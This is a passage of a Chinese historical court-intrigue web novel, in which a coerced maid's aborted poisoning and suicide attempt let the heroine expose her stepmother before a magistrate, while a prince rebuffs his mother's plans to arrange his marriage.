“没事,你去做药膳吧。我得快点好起来。”晏逐星笑着嘱咐她。
“嗯!小姐必须得快点好起来!”双鲤一蹦一跳地跑去了小厨房。
晏逐星闭目养神,将自己做过的事情一遍一遍在脑海里复查。
裴明镜手中肯定没有确凿的证据,不然他也不会曲线救国,从半棠那里下手,而是直接找上门来了。
想通了这一点,晏逐星决定以不变应万变。
夜里,天刚刚暗下来的时候,半棠终于回了玉澜院。
“怎么去了那么久?”晏逐星开口询问。
半棠颤着嗓子道:“夫人让奴婢描花样子,因而回来晚了。”
她答应了裴大人,继续留在小姐身边,看她下一步会做什么,因此压根不敢说实话。
“行了,那你退下吧。”晏逐星没有继续多问就让她离开了。
半棠有些惊讶,她刚刚还在担忧大小姐若是刨根问底怎么办。
不曾想,竟然就这样让她离开了。
她忐忑不安地回了自己住的厢房。
心里装着事,她一夜无眠。
早晨起来服侍晏逐星梳头都有些恍惚。
一整日,晏逐星都在屋子里养病,看书,日子过得和往常一样没有什么区别。
甚至还有闲心让人将她抬到院中看盛开的梅花。
半棠渐渐放下心来。
不曾想,有人却等不及了。
“裴明镜怎么还没行动?他到底怎么跟你说的?”温如霜面如寒霜,咬牙切齿地把半棠叫到了面前。
“裴大人只让奴婢继续伺候大小姐,别的什么都没说。”半棠慌张地在地
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上。
裴大人说了。
他们之间的谈话,绝对不能让第三个人知道,就连夫人这边也得瞒着。
“我不信,他把你叫出去,肯定是查到了什么!”温如霜将手里的药碗狠狠砸到了地上。
“他就是要包庇那个小**。”
身体的疼痛和报仇的决心冲昏了她的脑袋。
她等不及了。
凭什么她得拖着这副腐木般的身躯生不如死的活着,而晏逐星却还能去庭院当中赏花,看书。
她要让晏逐星和她一样,变成一个半死不活的废人。
温如霜大发雷霆,半棠不敢躲开,瑟缩着身子跪在地上。
“把东西给她。”
听到这话,半棠抬头,便看到了夫人的心腹李嬷嬷将一个小瓷瓶递到了面前。
随后就温如霜冷冷开口:“这药,你想办法让她服下。”
半棠脸色大变:“奴婢不敢。”
“不敢?”温如霜冷笑,“你的**契可还在我手里呢。你若不照办,我便将你嫁给周妈妈儿子。”
半棠打了个哆嗦,露出了绝望的表情。
周妈妈的儿子性格暴烈,若是嫁给他,一定会被活生生打死的。
她拿着药,恍惚地回了玉澜院。
双鲤瞧见她,好奇道:“半棠姐姐,你怎么了,脸色这么难看?”
半棠回过神来,露出了一个勉强的笑:“没什么,就是身子有些不舒服。”
“那你可得注意了。这大冷天的,病了可就遭罪了。”双鲤像是没有察觉到她的异常。
半棠紧紧捏着手中的药瓶,点了点头。
夜里,她翻来覆去地睡不着。
她不敢给大小姐下药,又害怕被夫人胡乱许人,裴大人那边她更是不知道该怎么交代。
三个人,她谁也得罪不起。
她该怎么办。
辗转反侧到了半夜,半棠终于下定了决心。
第30章 侯府大小姐到底给王爷灌了什么**汤
她起身拿了一根腰带和小木凳,恍恍惚惚地往院子里走去。
**,这一切就解脱了。
反正父亲的买药钱和兄长娶妻的钱都有了,她也可以安心地离开了。
半棠将带子抛到树干上,系了个死结。
她心如死灰,将脑袋套入其中,踢翻了木凳。
窒息的感觉传来,她拼命挣扎。
这时,她的身后忽然亮起了一盏灯笼。
衔蝉三步并作两步冲了过来,拔刀将她准备自缢的腰带给割断了。
半棠跌到地上,大口大口地喘着粗气。
提着灯笼的双鲤走了上前:“半棠姐姐,小姐要见你。”
她脸色瞬间变得比地上的雪还要白上三分。
双鲤叹了一口气:“你何苦寻死呢。什么事都没有活着更重要啊。”
“我……”她张了张嘴,想说什么,但最终一切都化作了苦笑。
看来,大小姐什么都知道。
她颓然起身,再无**的勇气,亦步亦趋地跟在双鲤身后,去见了晏逐星。
“说吧,为何想要自缢。”晏逐星淡淡开口。
半棠捂着脸,呜呜呜地哭了起来。
她一边哭一边把这几日的事情说了出来。
“大小姐,是我对不起您,没能遵守和您的约定,您就让我**吧。”
晏逐星默默听完了她的话。
她没想到温如霜竟然这么沉不住气,竟然现在就要弄死她了。
“将她带出去吧,我静一静。”
将半棠支出去后,晏逐星看向了衔蝉:“你可识得这是什么药?”
永安王给她送的这个丫鬟精通药理,这会儿正好派上用场了。
衔蝉接过药瓶开始检查,片刻后回答道:“小姐,这药并不致命,只是会让人腹泻。”
晏逐星露出了惊讶的表情。
她还以为温如霜要立刻就像要她的命呢。
但转念一想,她就明白了温如霜的用意。
这只是对半棠的一个试探。
温如霜虽然愤怒,但也彻底没有失心疯。
前脚才说她推她下马车,后脚她就毒发身亡的话,这简直就是给裴明镜送把柄。
她想让她出糗,然后再徐徐图之。
晏逐星将双鲤叫了过来:“昨日让你悄悄拿的药,你可拿到了?”
“拿到了小姐。”双鲤点头。
前段时间下人的厢房里闹了耗子,有丫鬟买了耗子药,晏逐星在得知半棠背叛她后,便让双鲤偷偷拿了一点耗子药。
打算等几日制造半棠误食耗子药后死掉的假象。
没想到,现在还能派上别的用场。
她将那些耗子药弄到了温如霜给的药瓶里。
随后让人把半棠又叫了进来。
“想活吗?我给你指一条活路。”
半棠摸了摸已经留下淤青的脖颈,重重点头。
死亡的感觉太可怕了。
她已经死过一次,不想再**。
……
“你说定远侯夫人让你把这个药下到晏大小姐的药膳里?”裴明镜握着手中的药瓶,若有所思。
“没错。”半棠点了点头。
昨夜,大小姐给她指了一条活路,让她来找裴大人。
裴大人虽然铁面无私,但也从不迁怒无辜之人。
她被他逼盯着大小姐,替他办事,如今出了这么大的事,自然该让裴大人替她兜底。
“是晏逐星让你来的吧。”裴明镜忽然笑了起来。
“是。”半棠再一次点头。
大小姐说她不会撒谎,那就说实话。
只是可以选择性地说。
夫人让她下药,大小姐发现让她来找裴大人的事情可以说,但药瓶单独给过她一事,可以不说。
虚虚实实真真假假,反倒让人猜不出真相。
她将系在脖子上的围脖摘下,指着脖子上的勒痕,红着眼睛道:“奴婢真的不知道该怎么办了,我不想害人,又害怕夫人将我嫁给那无耻之徒,便想着一**之。结果被大小姐发现了。”
“她说……”
裴明镜将药瓶交给下属让他拿去验证,听到这话,下意识地接话:“她还说了什么?”
“她说裴大人不相信她,她就不报官了。她也不知道该怎么办。她自身难保,护不住我,让我来找您。她还说裴大人足智多谋,一定有办法救我。”半棠将晏逐星的话一字不落地复述出来。
说完,她跪到了地上:“大人,求您救救奴婢吧。奴婢愿意给您当牛做马一辈子报答您。”
裴明镜眉心拧了拧。
可真是个小狐狸,竟然将这烫手山芋抛到了他手里。
他没说话。
片刻后,下属验完药告知他结果。
“**?”裴明镜眸色微冷。
这对母女还真是想方设法将对方置于死地啊。
跪在地上的半棠抽泣着:“大人,求您救救我吧。”
裴明镜低头看向她,开口道:“我跟你走一趟。”
他打算再和晏逐星谈谈。
那个黄衫女子依旧下落不明,若是能从她口中撬出那女子的身份就好了。
裴明镜再一次去了定远侯府。
按照礼数,他先去见定远侯。
没想到,刚踏进会客厅,就听到一阵哭嚎。
“侯爷,您救救大小姐吧。”双鲤哇哇大哭。
“有人买通了丫鬟给大小姐下**,若不是发现衔蝉姐姐知晓药理,大小姐就要被毒**。”
瞧见裴明镜后,她扑到了裴明镜脚边,抓着他的裤腿哭得更大声了。
“大人,您可算来了。人证物证都已经交给您了,您可得替我家小姐做主啊。”
定远侯脸色铁青。
侯府三番几次发生这样的事情,还总让裴明镜撞到,皇上肯定又要训斥他持家不严了。
他一方面在心底暗恨下药的人不懂事,这等风口浪尖竟然还敢对晏逐星下手。
一方面又恼怒晏逐星不识好歹,腿都断了竟然还那么能作妖。
“裴大人,小小家务事,您何必跑这一趟。”他挤出笑容看向裴明镜。
“父亲,这怎么能是家务事呢,这可是性命攸关的大事。”后边坐在步舆上晏逐星轻声开口。
“虽然我不是亲生的,但毕竟喊了您那么多年父亲,您总不能眼睁睁看着我被人害死吧。”
定远侯被她气
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得火冒三丈。
还没等他开口训斥晏逐星闭嘴,她就看向了裴明镜。
一行清泪顺着眼角滑落。
“裴大人,院子里那些人我是谁都不敢信了,我只信您。”
定远侯气急败坏道:“行了,你若信不过那些人,便自己挑一批人伺候你行了吧。别什么小事都麻烦裴大人。”
裴明镜看着她的泪一怔,而后反应过来。
他被晏逐星给算计了。
她要的就是将整个院子里定远侯夫人的眼线全都拔除吧。
好一个只信他。
裴明镜指了指地上的双鲤:“本官自是不会辜负大小姐的信任。这个丫鬟,本官很是喜欢,不如大小姐割爱?”
双鲤吓了一跳,她可不想跟裴大人走。
“那不行。”晏逐星果断拒绝。
“不是说院子里那些人都不敢信?”裴明镜挑眉。
“嗯,是那些人不可信。但双鲤不一样,双鲤是我的救命恩人。”晏逐星一脸诚恳。
“而且永安王送来的衔蝉姑娘,很喜欢双鲤,将双鲤当作亲妹妹一般对待。若是将他们二人分开,未免有违仁厚。”
裴明镜面无表情地盯着她。
这是拿永安王来压他?
晏逐星顶着他的死亡凝视继续道:“裴大人若缺丫鬟,我看半棠就不错,人机灵,又乖巧听话。不如您将她带走吧?”
半棠抓住时机跪在了地上:“能伺候大人,是奴婢三生修来的福气。”
“是啊,大人您若喜欢府上哪个丫鬟,只管开口。”定远侯跟着附和。
他只想快点把裴明镜送走。
裴明镜盯着晏逐星,弯腰凑到她耳边,冷冷一笑:“大小姐真是好手段。”
晏逐星像是听不出他的讽刺,乖巧地看着他:“大人的救命之恩,小女子来世结草衔环一定会报。”
裴明镜彻底被气笑了。
合着这辈子就不愿报恩,用虚无缥缈的下辈子来许诺他呗。
裴明镜歇了询问晏逐星的心思,他知道他不可能从她嘴里挖出任何有用的东西了。
他看向定远侯:“劳烦侯爷将这丫鬟的身契送到国公府二房,人,我带走了。”
这丫鬟先前确实是在为他做事,他也不可能眼睁睁看着她**。
“好说好说。”定远侯当即答应了下来。
只要别继续盯着他的后院,区区一个丫鬟,给了就给了。
“父亲,劳烦将双鲤的身契也给我吧。”晏逐星趁机提出了要求。
定远侯只想快点息事宁人,胡乱地点头答应了下来。
……
定远侯府的事情再一次被传回了永安王府。
停云忍不住嘀咕:“这侯府大小姐的心机未免也太重了些,竟然还利用您的名头吓唬裴大人。”
谢翊宁冷哼一声:“生在那等虎狼窝里,她不多长几个心眼,岂不是早就没命了。若她能和我一样,受尽万千宠爱长大,哪里还需要这样小心翼翼地算计别人活命。”
停云:……
定远侯府大小姐到底给他家王爷灌了什么**汤。
怎么她做什么王爷都能给她找到合理的借口?
第31章 要不要给你们赐婚
两人闲谈之际,管家忽然敲门通禀。
“王爷,皇后娘娘请您入宫一趟。说是有要事相商。”
谢翊宁听到这话,急匆匆地赶到了未央宫。
“母后,出什么事了?”
“这大冬天的,怎么还出汗了,快擦擦,可别着凉了。”皇后瞧见他额头的汗,心疼地掏出帕子想要替他擦掉。
“我这不是着急么。”谢翊宁接过帕子,自己擦掉了汗珠。
“你这孩子,急什么。母后寻你来是想问问你对那定远侯府大小姐,到底是什么想法?可要我去找你父皇给你们赐婚?”皇后笑眯眯地看着他。
谢翊宁一阵无语。
所谓要事相商,就这事?
他认真又无奈地开口:“母后,我说过了,没度过那一劫之前,我不会考虑成婚生子的。我不能那么自私,自己**留下人家孤儿寡母过日子。”
“呸呸呸,我儿一定长命百岁。”皇后轻轻拍了拍他的手背,不许他说下去,但是自己的眼眶却红了。
国师的预言,从未出过错。
她可怜的孩儿,怎么就摊上了这样的命运。
“就算是孤儿寡母,我和你父皇,还有你太子哥哥,都会照顾他们的,让他们一辈子锦衣玉食。你有什么可不放心的。”她不遗余力地劝说了起来。
万一真活不过二十岁,至少得留一个后啊。
谢翊宁看着她,叹了一口气,但依旧没有改口:“母后,我真的无心成婚。”
皇后没想到小儿子这么犟,有些无奈:“那你对定远侯府大小姐那般好,是为了什么?这么多年,母后可从未见过你对哪家千金这么上心。”
谢翊宁一阵语塞。
他无缘无故对晏逐星那么好,没有一个合理的说法,母后肯定也不相信。
思来想去,他决定把重生的事情,换一个说法告知母后。
他斟酌片刻后,开口道:“母后,前不久我做了一个梦,梦到我死在了战场上……”
“不许说这样不吉利的话!”皇后急急忙忙打断他。
自打国师预言后,她便听不得这些死不死的话。
“母后,你先听我说完。”谢翊宁柔声安慰她。
“梦里正是定远侯府大小姐救了我,避免了我被万箭穿心,死无全尸的下场。醒来后,我让停云去打听她,发现她过得不好,很是可怜。所以才会屡次出手帮助。毕竟她也算我的救命恩人。”
皇后听到这么离奇的事情忍不住皱起了眉头:“就因为一个梦?”
谢翊宁振振有词:“梦怎么了。在那之前,我都没见过定远侯府那位大小姐。那我为什么不梦到别人,独独梦到她救了我。说不定上辈子还真发生过那样的事情。”
“你说得也有点道理。”皇后被他说服了。
怕她继续乱来,谢翊宁再次强调:“所以呀,母后您千万别乱点鸳鸯谱了。我若是遇到了心仪的姑娘,一定会请您和父皇赐婚的。”
“好吧。”见他这么坚决,皇后只能点头答应了下来。
送走他后,皇后还是觉得不对劲。
夜里,文昭帝谢如璋来到未央宫,瞧见她一脸严肃,还以为发生了什么大事。
他上前一步将皇后拥在怀中,笑道:“可是今日小石头入宫惹你生气?”
“那倒不是。”皇后摇了摇头。
“我是在琢磨他和定远侯府那个小姑娘的事。”
“哦?他和人家姑娘怎么了?”文昭帝有些好奇。
他和皇后是青梅竹马。
少年夫妻老来伴,一直恩爱有加。
两人直到这个岁数,还有说不完的话。
所有的孩子里,他最喜欢的就是皇后生的两个儿子。
因此对他们都很关注。
谢翊宁屡次给晏逐星撑腰的事情,他早有耳闻。
皇后说起这个就滔滔不绝:“他说他并非心悦人家,可你看他做的那些事情,桩桩件件,明里暗里都在维护人家。我觉得啊,他肯定是心悦那个姑娘。”
“不会吧。这小子从小就厚脸皮,想要什么都是直说,什么时候跟咱们客气过。”文昭帝脱口而出。
皇后被他这话逗笑了,嗔怪地看了他一眼,而后又说起了谢翊宁说的梦。
“他为什么不梦到别人,独独梦到定远侯府大小姐。分明是日有所思夜有所梦。他肯定是爱惨了那个姑娘,只是碍于自己活不到二十的命运,不敢说出口罢了。”
说到最后,皇后心里酸酸的。
她这么一说,文昭帝觉得好像有那么一点道理。
皇后越想越觉得是这么一回事,一把抓住了皇上的手
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,神情飞扬。
“不行不行,儿子不争气,咱们可不能干等着。不然猴年马月才能有儿媳妇。明日我就派人去慰问那个姑娘,让人在她面前多说说石头的好话。你说,之后等她主动了,石头是不是就不会拒绝了?”
“小姑娘主动咱们儿子会不会拒绝,朕不知道,但皇后主动,朕肯定不会拒绝。”文昭帝笑眯眯地牵起皇后的手,亲了一口。
皇后的脸上霎时飞上红云,她抽回了手:“我才没有……”
“好。是朕主动,还请皇后不要拒绝。”他将皇后拦腰抱起,垂头咬住她的耳垂。
惊呼声起。
宫人们羞红了脸,默默退出了寝宫。
……
定远侯府里。
定远侯正和夫人爆发了激烈地争执。
“我都说了,让你先不要去招惹那丫头,你为什么非不听!!!”
“她害我落得这般惨状,我不过是给她下点泻药罢了,这也不行吗?”温如霜愤怒反驳。
“头发长见识短,你何必逞一时之气。招惹了裴明镜,这辈子都别想安生了。”定远侯吼的声音比她还大。
他这个侯爷的头衔,是祖父靠军功挣来的。
到了他父亲那一辈,只上过几回战场。
然而到了他,他一回战场也没去过,他心虚得很。
若是不停地被参,皇上保不准就不许这爵位继续传下去了。
到时候,他还有什么颜面面对列祖列宗。
他不耐烦道:“别说废话,把那丫头要的**契给我。”
温如霜不情不愿地让人把**契交了出来。
定远侯拿到**契摔门而去。
温如霜被这一幕气得尖叫出声。
“啊——!”
光是叫还不解气,她抓起绣枕狠狠砸在地上,这还不够,她把身边能够到的东西全砸了。
晏明月来到她屋子,看到这一幕,心里有些烦躁,但还是耐下性子安慰她:“娘亲,您别生气了。为了姐姐气坏身子,可不值当。”
“你懂什么。裴明镜就算了,那个贱丫头害了我,还要骑在我头上,真是反了她了。”温如霜气得直掉眼泪。
晏明月听到这话,先跟着她附和着辱骂了晏逐星几句,随后道:“我有一个办法,或许能让娘亲出气。”